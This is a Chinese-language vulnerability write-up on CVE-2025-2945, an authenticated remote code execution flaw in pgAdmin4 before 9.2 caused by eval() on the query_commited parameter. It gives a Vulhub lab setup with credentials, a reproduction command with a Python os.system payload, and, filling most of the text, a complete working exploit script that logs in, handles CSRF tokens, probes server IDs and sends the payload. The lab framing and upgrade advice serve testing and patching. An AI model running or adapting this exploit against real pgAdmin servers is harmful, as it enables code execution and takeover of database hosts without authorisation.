# pgAdmin4＜9.2 后台远程代码执行漏洞 CVE-2025-2945

## 漏洞描述

pgAdmin 是一个流行且功能丰富的开源 PostgreSQL 数据库管理和开发平台，广泛被数据库管理员和开发者用于通过 Web 界面管理 PostgreSQL 数据库。

pgAdmin4 9.2 版本之前存在一个远程代码执行漏洞。该漏洞存在于两个 POST 接口中：`/sqleditor/query_tool/download` 接口的 `query_commited` 参数和 `/cloud/deploy` 接口的 `high_availability` 参数被不安全地传递给 Python 的 `eval()` 函数，允许已认证的攻击者在服务器上执行任意代码。该漏洞影响 pgAdmin4 9.2 版本之前的所有版本。

参考链接：

- https://nvd.nist.gov/vuln/detail/CVE-2025-2945
- https://github.com/advisories/GHSA-g73c-fw68-pwx3
- https://github.com/pgadmin-org/pgadmin4/issues/8603
- https://github.com/pgadmin-org/pgadmin4/commit/75be0bc22d3d8d7620711835db817bd7c021007c

## 漏洞影响

```
pgAdmin4 < 9.2
```

## 环境搭建

Vulhub 执行以下命令启动 pgAdmin4 9.1 服务器和 PostgreSQL 数据库：

```
docker compose up -d
```

服务器启动后，访问 http://your-ip:5050/ 进入 pgAdmin4 登录页面。pgAdmin4 的登录凭据为 `vulhub@example.com:vulhub`。

利用此漏洞需要一个可访问的 PostgreSQL 数据库实例来初始化 SQL 编辑器。PostgreSQL 数据库已包含在 docker-compose.yml 中，并已在 pgAdmin4 的服务器列表中预配置，凭据为 `vulhub:vulhub`。

![](images/pgAdmin4＜9.2%20后台远程代码执行漏洞%20CVE-2025-2945/image-20250922101315507.png)

## 漏洞复现

复现此漏洞可以使用 Metasploit 的 `exploit/multi/http/pgadmin_query_tool_authenticated` 模块或独立的 Python 脚本 [https://github.com/Cycloctane/cve-2025-2945-poc/blob/main/exp.py](https://github.com/Cycloctane/cve-2025-2945-poc/blob/main/exp.py)。

运行 exploit 脚本，使用简单的文件创建载荷来验证代码执行：

```shell
python exp.py --target-url http://your-ip:5050 \
    --username vulhub@example.com --password vulhub \
    --db-user vulhub --db-pass vulhub --db-name vulhub \
    --payload "__import__('os').system('touch /tmp/awesome_poc')"
```

![](images/pgAdmin4＜9.2%20后台远程代码执行漏洞%20CVE-2025-2945/image-20250922101655875.png)

执行成功后，通过检查容器来验证文件是否被创建：

```shell
docker compose exec web ls -al /tmp/
```

![](images/pgAdmin4＜9.2%20后台远程代码执行漏洞%20CVE-2025-2945/image-20250922101742643.png)

## 漏洞 POC

[exp.py](https://github.com/Cycloctane/cve-2025-2945-poc/blob/main/exp.py)

```
#!/usr/bin/env python3

import re
from random import randint
from urllib.parse import urljoin

import requests

def get_version(target_url: str) -> tuple[int, int] | None:
    resp = requests.get(urljoin(target_url, '/login'))
    if resp.status_code == 200:
        if m := re.search(r'<link [^>?]+\?ver=(\d?\d)(\d\d)\d\d"/?>', resp.text):
            return int(m.group(1)), int(m.group(2))

def get_csrf_token(session: requests.Session, target_url: str) -> str | None:
    login_resp = session.get(urljoin(target_url, '/login'), allow_redirects=False)
    if login_resp.status_code == 200:
        if m := re.search(
            r'<input name="csrf_token"( hidden="")? value="([\w+.-]+)">', login_resp.text
        ):
            return m.group(2)
        if m := re.search(r'"csrfToken": "([\w+.-]+)"', login_resp.text):
            return m.group(1)
    else:
        js_resp = session.get(urljoin(target_url, '/browser/js/utils.js'))
        if m := re.search(r"pgAdmin\['csrf_token'\]\s*=\s*'([^']+)'", js_resp.text):
            return m.group(1)
        if m := re.search(r'"csrfToken": "([\w+.-]+)"', js_resp.text):
            return m.group(1)
    print("[!] Failed to retrieve CSRF token")

def exploit(
    target_url: str,
    username: str,
    password: str,
    db_name: str,
    db_user: str,
    db_pass: str,
    payload: str,
    max_server_id: int = 10,
    skip_version_check: bool = False
) -> bool:
    """
    pgAdmin4 query tool authenticated RCE (CVE-2025-2945) exp.

    :return: True if the exploit attempt is (or believed to be) successful,
        otherwise False.
    """
    if not skip_version_check:
        # Check pgAdmin4 version
        version = get_version(target_url)
        if not version:
            print("[!] Unable to determine pgAdmin4 version")
            return False
        elif version < (8, 10) or version >= (9, 2):
            print(f"[!] pgAdmin4 version {version[0]}.{version[1]} is not affected")
            return False
        else:
            print(f"[+] pgAdmin4 version {version[0]}.{version[1]} is affected")

    session = requests.Session()

    # Login
    csrf_token = get_csrf_token(session, target_url)
    if csrf_token is None:
        return False

    resp = session.post(
        urljoin(target_url, 'authenticate/login'),
        data={
            "csrf_token": csrf_token,
            "email": username,
            "password": password,
            "language": "en",
            "internal_button": "login"
        },
        allow_redirects=False,
    )
    if not resp.ok or resp.headers.get('Location', '').endswith('/login'):
        print("[!] Failed to authenticate to pgAdmin")
        return False
    print("[+] Successfully authenticated to pgAdmin")

    # Refresh CSRF token
    csrf_token = get_csrf_token(session, target_url)
    if csrf_token is None:
        return False
    session.headers.update({"X-pgA-CSRFToken": csrf_token})

    # Find a valid server ID
    sgid = randint(1, 10)
    sid = None
    for i in range(1, max_server_id + 1):
        resp = session.get(
            urljoin(target_url, f'/sqleditor/get_server_connection/{sgid}/{i}'),
            headers={"Content-Type": "application/x-www-form-urlencoded"}
        )
        if resp.status_code == 200:
            if resp.json().get('data', {}).get('status') is True:
                print("[+] Found valid server ID:", i)
                sid = i
                break
        else:
            print(f"[!] Received {resp.status_code} when trying to find server ID")
            print("[!] Received body:", resp.text)
            return False

    if sid is None:
        print("[!] Failed to find a valid server ID, try increasing MAX_SERVER_ID")
        return False

    # Initialize sqleditor
    trans_id = randint(1_000_000, 9_999_999)
    did = randint(10000, 99999)
    resp = session.post(
        urljoin(target_url, f"/sqleditor/initialize/sqleditor/{trans_id}/{sgid}/{sid}/{did}"),
        json={
            "user": db_user,
            "password": db_pass,
            "role": "",
            "dbname": db_name,
        }
    )
    if not resp.ok:
        print("[!] Failed to initialize sqleditor")
        return False

    # Send the payload
    print("[+] Exploiting the target...")
    resp = session.post(
        urljoin(target_url, f"/sqleditor/query_tool/download/{trans_id}"),
        json={"query_commited": payload},
        headers={
            "Referer": urljoin(target_url, f"/sqleditor/panel/{trans_id}?is_query_tool=true")
        }
    )
    if resp.status_code == 500:
        print("[+] Received expected 500 response:", resp.text)
        return True
    else:
        print(
            "[!] Received unexpected response code from the exploit attempt:",
            resp.status_code, resp.text
        )
        return False

if __name__ == '__main__':
    import argparse
    import sys
    parser = argparse.ArgumentParser(
        description="pgAdmin4 query tool authenticated RCE (CVE-2025-2945) exploit"
    )
    parser.add_argument(
        "--target-url", required=True,
        help="Base URL of the target pgAdmin4 instance (http://RHOST:RPORT/)"
    )
    parser.add_argument("--username", help="pgAdmin4 username", required=True)
    parser.add_argument("--password", help="pgAdmin4 password", required=True)
    parser.add_argument(
        "--db-user", help="Username of the database used to initialize sqleditor", required=True
    )
    parser.add_argument("--db-pass", help="Database password", required=True)
    parser.add_argument("--db-name", help="Database db name", required=True)
    parser.add_argument("--payload", help="Payload (Python code)", required=True)
    parser.add_argument(
        "--max-server-id", type=int, default=10, help="Maximum number of Server IDs to try"
    )
    parser.add_argument(
        "--skip-version-check", action="store_true",
        help="Do not check if target version is affected before exploit"
    )
    ns = parser.parse_args()
    sys.exit(int(not exploit(
        ns.target_url, ns.username, ns.password, ns.db_name, ns.db_user, ns.db_pass, ns.payload,
        ns.max_server_id, ns.skip_version_check,
    )))
```

## 漏洞修复

将组件 pgadmin4 升级至 9.2 及以上版本。